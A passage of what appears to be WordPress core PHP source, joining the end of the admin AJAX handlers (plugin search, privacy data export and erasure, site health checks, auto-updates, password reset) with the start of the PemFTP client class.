		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Plugin could not be deleted.' );
		wp_send_json_error( $status );
	}

	wp_send_json_success( $status );
}

/**
 * Handles searching plugins via AJAX.
 *
 * @since 4.6.0
 *
 * @global string $s Search term.
 */
function wp_ajax_search_plugins() {
	check_ajax_referer( 'updates' );

	// Ensure after_plugin_row_{$plugin_file} gets hooked.
	wp_plugin_update_rows();

	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugins-network' === $pagenow || 'plugins' === $pagenow ) {
		set_current_screen( $pagenow );
	}

	/** @var WP_Plugins_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugins_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

	$status = array();

	if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

	// Set the correct requester, so pagination works.
	$_SERVER['REQUEST_URI'] = add_query_arg(
		array_diff_key(
			$_POST,
			array(
				'_ajax_nonce' => null,
				'action'      => null,
			)
		),
		network_admin_url( 'plugins.php', 'relative' )
	);

	$GLOBALS['s'] = wp_unslash( $_POST['s'] );

	$wp_list_table->prepare_items();

	ob_start();
	$wp_list_table->display();
	$status['count'] = count( $wp_list_table->items );
	$status['items'] = ob_get_clean();

	wp_send_json_success( $status );
}

/**
 * Handles searching plugins to install via AJAX.
 *
 * @since 4.6.0
 */
function wp_ajax_search_install_plugins() {
	check_ajax_referer( 'updates' );

	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugin-install-network' === $pagenow || 'plugin-install' === $pagenow ) {
		set_current_screen( $pagenow );
	}

	/** @var WP_Plugin_Install_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugin_Install_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

	$status = array();

	if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

	// Set the correct requester, so pagination works.
	$_SERVER['REQUEST_URI'] = add_query_arg(
		array_diff_key(
			$_POST,
			array(
				'_ajax_nonce' => null,
				'action'      => null,
			)
		),
		network_admin_url( 'plugin-install.php', 'relative' )
	);

	$wp_list_table->prepare_items();

	ob_start();
	$wp_list_table->display();
	$status['count'] = (int) $wp_list_table->get_pagination_arg( 'total_items' );
	$status['items'] = ob_get_clean();

	wp_send_json_success( $status );
}

/**
 * Handles editing a theme or plugin file via AJAX.
 *
 * @since 4.9.0
 *
 * @see wp_edit_theme_plugin_file()
 */
function wp_ajax_edit_theme_plugin_file() {
	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); // Validation of args is done in wp_edit_theme_plugin_file().

	if ( is_wp_error( $r ) ) {
		wp_send_json_error(
			array_merge(
				array(
					'code'    => $r->get_error_code(),
					'message' => $r->get_error_message(),
				),
				(array) $r->get_error_data()
			)
		);
	} else {
		wp_send_json_success(
			array(
				'message' => __( 'File edited successfully.' ),
			)
		);
	}
}

/**
 * Handles exporting a user's personal data via AJAX.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_export_personal_data() {

	if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}

	$request_id = (int) $_POST['id'];

	if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

	if ( ! current_user_can( 'export_others_personal_data' ) ) {
		wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
	}

	check_ajax_referer( 'wp-privacy-export-personal-data-' . $request_id, 'security' );

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request type.' ) );
	}

	$email_address = $request->email;
	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'A valid email address must be given.' ) );
	}

	if ( ! isset( $_POST['exporter'] ) ) {
		wp_send_json_error( __( 'Missing exporter index.' ) );
	}

	$exporter_index = (int) $_POST['exporter'];

	if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}

	$page = (int) $_POST['page'];

	$send_as_email = isset( $_POST['sendAsEmail'] ) ? ( 'true' === $_POST['sendAsEmail'] ) : false;

	/**
	 * Filters the array of exporter callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable exporters of personal data. Default empty array.
	 *
	 *     @type array ...$0 {
	 *         Array of personal data exporters.
	 *
	 *         @type callable $callback               Callable exporter function that accepts an
	 *                                                email address and a page number and returns an
	 *                                                array of name => value pairs of personal data.
	 *         @type string   $exporter_friendly_name Translated user facing friendly name for the
	 *                                                exporter.
	 *     }
	 * }
	 */
	$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );

	if ( ! is_array( $exporters ) ) {
		wp_send_json_error( __( 'An exporter has improperly used the registration filter.' ) );
	}

	// Do we have any registered exporters?
	if ( 0 < count( $exporters ) ) {
		if ( $exporter_index < 1 ) {
			wp_send_json_error( __( 'Exporter index cannot be negative.' ) );
		}

		if ( $exporter_index > count( $exporters ) ) {
			wp_send_json_error( __( 'Exporter index is out of range.' ) );
		}

		if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

		$exporter_keys = array_keys( $exporters );
		$exporter_key  = $exporter_keys[ $exporter_index - 1 ];
		$exporter      = $exporters[ $exporter_key ];

		if ( ! is_array( $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter array index. */
				sprintf( __( 'Expected an array describing the exporter at index %s.' ), $exporter_key )
			);
		}

		if ( ! array_key_exists( 'exporter_friendly_name', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter array index. */
				sprintf( __( 'Exporter array at index %s does not include a friendly name.' ), $exporter_key )
			);
		}

		$exporter_friendly_name = $exporter['exporter_friendly_name'];

		if ( ! array_key_exists( 'callback', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Exporter does not include a callback: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! is_callable( $exporter['callback'] ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Exporter callback is not a valid callback: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		$callback = $exporter['callback'];
		$response = call_user_func( $callback, $email_address, $page );

		if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

		if ( ! is_array( $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected response as an array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! array_key_exists( 'data', $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected data in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! is_array( $response['data'] ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected data array in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected done (boolean) in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}
	} else {
		// No exporters, so we're done.
		$exporter_key = '';

		$response = array(
			'data' => array(),
			'done' => true,
		);
	}

	/**
	 * Filters a page of personal data exporter data. Used to build the export report.
	 *
	 * Allows the export response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        The personal data for the given exporter and page number.
	 * @param int    $exporter_index  The index of the exporter that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page number for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
	 * @param string $exporter_key    The key (slug) of the exporter that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_export_page', $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key );

	if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

	wp_send_json_success( $response );
}

/**
 * Handles erasing personal data via AJAX.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_erase_personal_data() {

	if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}

	$request_id = (int) $_POST['id'];

	if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

	// Both capabilities are required to avoid confusion, see `_wp_personal_data_removal_page()`.
	if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
		wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
	}

	check_ajax_referer( 'wp-privacy-erase-personal-data-' . $request_id, 'security' );

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request type.' ) );
	}

	$email_address = $request->email;

	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'Invalid email address in request.' ) );
	}

	if ( ! isset( $_POST['eraser'] ) ) {
		wp_send_json_error( __( 'Missing eraser index.' ) );
	}

	$eraser_index = (int) $_POST['eraser'];

	if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}

	$page = (int) $_POST['page'];

	/**
	 * Filters the array of personal data eraser callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable erasers of personal data. Default empty array.
	 *
	 *     @type array ...$0 {
	 *         Array of personal data exporters.
	 *
	 *         @type callable $callback               Callable eraser that accepts an email address and a page
	 *                                                number, and returns an array with boolean values for
	 *                                                whether items were removed or retained and any messages
	 *                                                from the eraser, as well as if additional pages are
	 *                                                available.
	 *         @type string   $exporter_friendly_name Translated user facing friendly name for the eraser.
	 *     }
	 * }
	 */
	$erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() );

	// Do we have any registered erasers?
	if ( 0 < count( $erasers ) ) {

		if ( $eraser_index < 1 ) {
			wp_send_json_error( __( 'Eraser index cannot be less than one.' ) );
		}

		if ( $eraser_index > count( $erasers ) ) {
			wp_send_json_error( __( 'Eraser index is out of range.' ) );
		}

		if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

		$eraser_keys = array_keys( $erasers );
		$eraser_key  = $eraser_keys[ $eraser_index - 1 ];
		$eraser      = $erasers[ $eraser_key ];

		if ( ! is_array( $eraser ) ) {
			/* translators: %d: Eraser array index. */
			wp_send_json_error( sprintf( __( 'Expected an array describing the eraser at index %d.' ), $eraser_index ) );
		}

		if ( ! array_key_exists( 'eraser_friendly_name', $eraser ) ) {
			/* translators: %d: Eraser array index. */
			wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a friendly name.' ), $eraser_index ) );
		}

		$eraser_friendly_name = $eraser['eraser_friendly_name'];

		if ( ! array_key_exists( 'callback', $eraser ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: %s: Eraser friendly name. */
					__( 'Eraser does not include a callback: %s.' ),
					esc_html( $eraser_friendly_name )
				)
			);
		}

		if ( ! is_callable( $eraser['callback'] ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: %s: Eraser friendly name. */
					__( 'Eraser callback is not valid: %s.' ),
					esc_html( $eraser_friendly_name )
				)
			);
		}

		$callback = $eraser['callback'];
		$response = call_user_func( $callback, $email_address, $page );

		if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

		if ( ! is_array( $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Did not receive array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'items_removed', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected items_removed key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'items_retained', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected items_retained key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'messages', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected messages key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! is_array( $response['messages'] ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected messages key to reference an array in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected done flag in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}
	} else {
		// No erasers, so we're done.
		$eraser_key = '';

		$response = array(
			'items_removed'  => false,
			'items_retained' => false,
			'messages'       => array(),
			'done'           => true,
		);
	}

	/**
	 * Filters a page of personal data eraser data.
	 *
	 * Allows the erasure response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        {
	 *     The personal data for the given exporter and page number.
	 *
	 *     @type bool     $items_removed  Whether items were actually removed or not.
	 *     @type bool     $items_retained Whether items were retained or not.
	 *     @type string[] $messages       An array of messages to add to the personal data export file.
	 *     @type bool     $done           Whether the eraser is finished or not.
	 * }
	 * @param int    $eraser_index    The index of the eraser that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page number for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param string $eraser_key      The key (slug) of the eraser that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_erasure_page', $response, $eraser_index, $email_address, $page, $request_id, $eraser_key );

	if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

	wp_send_json_success( $response );
}

/**
 * Handles site health checks on server communication via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_dotorg_communication()
 * @see WP_REST_Site_Health_Controller::test_dotorg_communication()
 */
function wp_ajax_health_check_dotorg_communication() {
	_doing_it_wrong(
		'wp_ajax_health_check_dotorg_communication',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_dotorg_communication',
			'WP_REST_Site_Health_Controller::test_dotorg_communication'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

	$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_dotorg_communication() );
}

/**
 * Handles site health checks on background updates via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_background_updates()
 * @see WP_REST_Site_Health_Controller::test_background_updates()
 */
function wp_ajax_health_check_background_updates() {
	_doing_it_wrong(
		'wp_ajax_health_check_background_updates',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_background_updates',
			'WP_REST_Site_Health_Controller::test_background_updates'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

	$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_background_updates() );
}

/**
 * Handles site health checks on loopback requests via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_loopback_requests()
 * @see WP_REST_Site_Health_Controller::test_loopback_requests()
 */
function wp_ajax_health_check_loopback_requests() {
	_doing_it_wrong(
		'wp_ajax_health_check_loopback_requests',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_loopback_requests',
			'WP_REST_Site_Health_Controller::test_loopback_requests'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

	$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_loopback_requests() );
}

/**
 * Handles site health check to update the result status via AJAX.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_site_status_result() {
	check_ajax_referer( 'health-check-site-status-result' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	set_transient( 'health-check-site-status-result', wp_json_encode( $_POST['counts'] ) );

	wp_send_json_success();
}

/**
 * Handles site health check to get directories and database sizes via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::get_directory_sizes()
 * @see WP_REST_Site_Health_Controller::get_directory_sizes()
 */
function wp_ajax_health_check_get_sizes() {
	_doing_it_wrong(
		'wp_ajax_health_check_get_sizes',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_get_sizes',
			'WP_REST_Site_Health_Controller::get_directory_sizes'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status-result' );

	if ( ! current_user_can( 'view_site_health_checks' ) || is_multisite() ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Debug_Data' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
	}

	$sizes_data = WP_Debug_Data::get_sizes();
	$all_sizes  = array( 'raw' => 0 );

	foreach ( $sizes_data as $name => $value ) {
		$name = sanitize_text_field( $name );
		$data = array();

		if ( isset( $value['size'] ) ) {
			if ( is_string( $value['size'] ) ) {
				$data['size'] = sanitize_text_field( $value['size'] );
			} else {
				$data['size'] = (int) $value['size'];
			}
		}

		if ( isset( $value['debug'] ) ) {
			if ( is_string( $value['debug'] ) ) {
				$data['debug'] = sanitize_text_field( $value['debug'] );
			} else {
				$data['debug'] = (int) $value['debug'];
			}
		}

		if ( ! empty( $value['raw'] ) ) {
			$data['raw'] = (int) $value['raw'];
		}

		$all_sizes[ $name ] = $data;
	}

	if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
		wp_send_json_error( $all_sizes );
	}

	wp_send_json_success( $all_sizes );
}

/**
 * Handles renewing the REST API nonce via AJAX.
 *
 * @since 5.3.0
 */
function wp_ajax_rest_nonce() {
	exit( wp_create_nonce( 'wp_rest' ) );
}

/**
 * Handles enabling or disable plugin and theme auto-updates via AJAX.
 *
 * @since 5.5.0
 */
function wp_ajax_toggle_auto_updates() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['type'] ) || empty( $_POST['asset'] ) || empty( $_POST['state'] ) ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. No selected item.' ) ) );
	}

	$asset = sanitize_text_field( urldecode( $_POST['asset'] ) );

	if ( 'enable' !== $_POST['state'] && 'disable' !== $_POST['state'] ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown state.' ) ) );
	}
	$state = $_POST['state'];

	if ( 'plugin' !== $_POST['type'] && 'theme' !== $_POST['type'] ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
	}
	$type = $_POST['type'];

	switch ( $type ) {
		case 'plugin':
			if ( ! current_user_can( 'update_plugins' ) ) {
				$error_message = __( 'Sorry, you are not allowed to modify plugins.' );
				wp_send_json_error( array( 'error' => $error_message ) );
			}

			$option = 'auto_update_plugins';
			/** This filter is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			$all_items = apply_filters( 'all_plugins', get_plugins() );
			break;
		case 'theme':
			if ( ! current_user_can( 'update_themes' ) ) {
				$error_message = __( 'Sorry, you are not allowed to modify themes.' );
				wp_send_json_error( array( 'error' => $error_message ) );
			}

			$option    = 'auto_update_themes';
			$all_items = wp_get_themes();
			break;
		default:
			wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
	}

	if ( ! array_key_exists( $asset, $all_items ) ) {
		$error_message = __( 'Invalid data. The item does not exist.' );
		wp_send_json_error( array( 'error' => $error_message ) );
	}

	$auto_updates = (array) get_site_option( $option, array() );

	if ( 'disable' === $state ) {
		$auto_updates = array_diff( $auto_updates, array( $asset ) );
	} else {
		$auto_updates[] = $asset;
		$auto_updates   = array_unique( $auto_updates );
	}

	// Remove items that have been deleted since the site option was last updated.
	$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

	update_site_option( $option, $auto_updates );

	wp_send_json_success();
}

/**
 * Handles sending a password reset link via AJAX.
 *
 * @since 5.7.0
 */
function wp_ajax_send_password_reset() {

	// Validate the nonce for this action.
	$user_id = isset( $_POST['user_id'] ) ? (int) $_POST['user_id'] : 0;
	check_ajax_referer( 'reset-password-for-' . $user_id, 'nonce' );

	// Verify user capabilities.
	if ( ! current_user_can( 'edit_user', $user_id ) ) {
		wp_send_json_error( __( 'Cannot send password reset, permission denied.' ) );
	}

	// Send the password reset link.
	$user    = get_userdata( $user_id );
	$results = retrieve_password( $user->user_login );

	if ( true === $results ) {
		wp_send_json_success(
			/* translators: %s: User's display name. */
			sprintf( __( 'A password reset link was emailed to %s.' ), $user->display_name )
		);
	} else {
		wp_send_json_error( $results->get_error_message() );
	}
}
<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * Defines the newline characters, if not defined already.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var string
 */
if(!defined('CRLF')) define('CRLF',"\r\n");

/**
 * Sets whatever to autodetect ASCII mode.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1);

/**
 *
 * This can be redefined.
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_BINARY")) define("FTP_BINARY", 1);

/**
 *
 * This can be redefined.
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_ASCII")) define("FTP_ASCII", 0);

/**
 * Whether to force FTP.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var bool
 */
if(!defined('FTP_FORCE')) define('FTP_FORCE', true);

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Unix','u');

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Windows','w');

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Mac','m');

/**
 * PemFTP base class
 *
 */
class ftp_base {
	/* Public variables */
	var $LocalEcho;
	var $Verbose;
	var $OS_local;
	var $OS_remote;

	/* Private variables */
	var $_lastaction;
	var $_errors;
	var $_type;
	var $_umask;
	var $_timeout;
	var $_passive;
	var $_host;
	var $_fullhost;
	var $_port;
	var $_datahost;
	var $_dataport;
	var $_ftp_control_sock;
	var $_ftp_data_sock;
	var $_ftp_temp_sock;
	var $_ftp_buff_size;
	var $_login;
	var $_password;
	var $_connected;
	var $_ready;
	var $_code;
	var $_message;
	var $_can_restore;
	var $_port_available;
	var $_curtype;
	var $_features;

	var $_error_array;
	var $AuthorizedTransferMode;
	var $OS_FullName;
	var $_eol_code;
	var $AutoAsciiExt;

	/* Constructor */
	function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) {
		$this->LocalEcho=$le;
		$this->Verbose=$verb;
		$this->_lastaction=NULL;
		$this->_error_array=array();
		$this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n");
		$this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY);
		$this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS');
		$this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT");
		$this->_port_available=($port_mode==TRUE);
		$this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support"));
		$this->_connected=FALSE;
		$this->_ready=FALSE;
		$this->_can_restore=FALSE;
		$this->_code=0;
		$this->_message="";
		$this->_ftp_buff_size=4096;
		$this->_curtype=NULL;
		$this->SetUmask(0022);
		$this->SetType(FTP_AUTOASCII);
		$this->SetTimeout(30);
		$this->Passive(!$this->_port_available);
		$this->_login="anonymous";
		$this->_password="anon@ftp.com";
		$this->_features=array();
	    $this->OS_local=FTP_OS_Unix;
		$this->OS_remote=FTP_OS_Unix;
		$this->features=array();
		if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows;
		elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac;
	}

	function ftp_base($port_mode=FALSE) {
		$this->__construct($port_mode);
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Public functions                                                                  -->
// <!-- --------------------------------------------------------------------------------------- -->

	function parselisting($line) {
		$is_windows = ($this->OS_remote == FTP_OS_Windows);
		if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/",$line,$lucifer)) {
			$b = array();
			if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix
			$b['isdir'] = ($lucifer[7]=="<DIR>");
			if ( $b['isdir'] )
				$b['type'] = 'd';
			else
				$b['type'] = 'f';
			$b['size'] = $lucifer[7];
			$b['month'] = $lucifer[1];
			$b['day'] = $lucifer[2];
			$b['year'] = $lucifer[3];
			$b['hour'] = $lucifer[4];
			$b['minute'] = $lucifer[5];
			$b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]);
			$b['am/pm'] = $lucifer[6];
			$b['name'] = $lucifer[8];
		} else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) {
			//echo $line."\n";
			$lcount=count($lucifer);
			if ($lcount<8) return '';
			$b = array();
			$b['isdir'] = $lucifer[0][0] === "d";
			$b['islink'] = $lucifer[0][0] === "l";
			if ( $b['isdir'] )
				$b['type'] = 'd';
			elseif ( $b['islink'] )
				$b['type'] = 'l';
			else
				$b['type'] = 'f';
			$b['perms'] = $lucifer[0];
			$b['number'] = $lucifer[1];
			$b['owner'] = $lucifer[2];
			$b['group'] = $lucifer[3];
			$b['size'] = $lucifer[4];
			if ($lcount==8) {
				sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']);
				sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']);
				$b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']);
				$b['name'] = $lucifer[7];
			} else {
				$b['month'] = $lucifer[5];
				$b['day'] = $lucifer[6];
				if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) {
					$b['year'] = gmdate("Y");
					$b['hour'] = $l2[1];
					$b['minute'] = $l2[2];
				} else {
					$b['year'] = $lucifer[7];
					$b['hour'] = 0;
					$b['minute'] = 0;
				}
				$b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute']));
				$b['name'] = $lucifer[8];
			}
		}

		return $b;
	}

	function SendMSG($message = "", $crlf=true) {
		if ($this->Verbose) {
			echo $message.($crlf?CRLF:"");
			flush();
		}
		return TRUE;
	}

	function SetType($mode=FTP_AUTOASCII) {
		if(!in_array($mode, $this->AuthorizedTransferMode)) {
			$this->SendMSG("Wrong type");
			return FALSE;
		}
		$this->_type=$mode;
		$this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) );
		return TRUE;
	}

	function _settype($mode=FTP_ASCII) {
		if($this->_ready) {
			if($mode==FTP_BINARY) {
				if($this->_curtype!=FTP_BINARY) {
					if(!$this->_exec("TYPE I", "SetType")) return FALSE;
					$this->_curtype=FTP_BINARY;
				}
			} elseif($this->_curtype!=FTP_ASCII) {
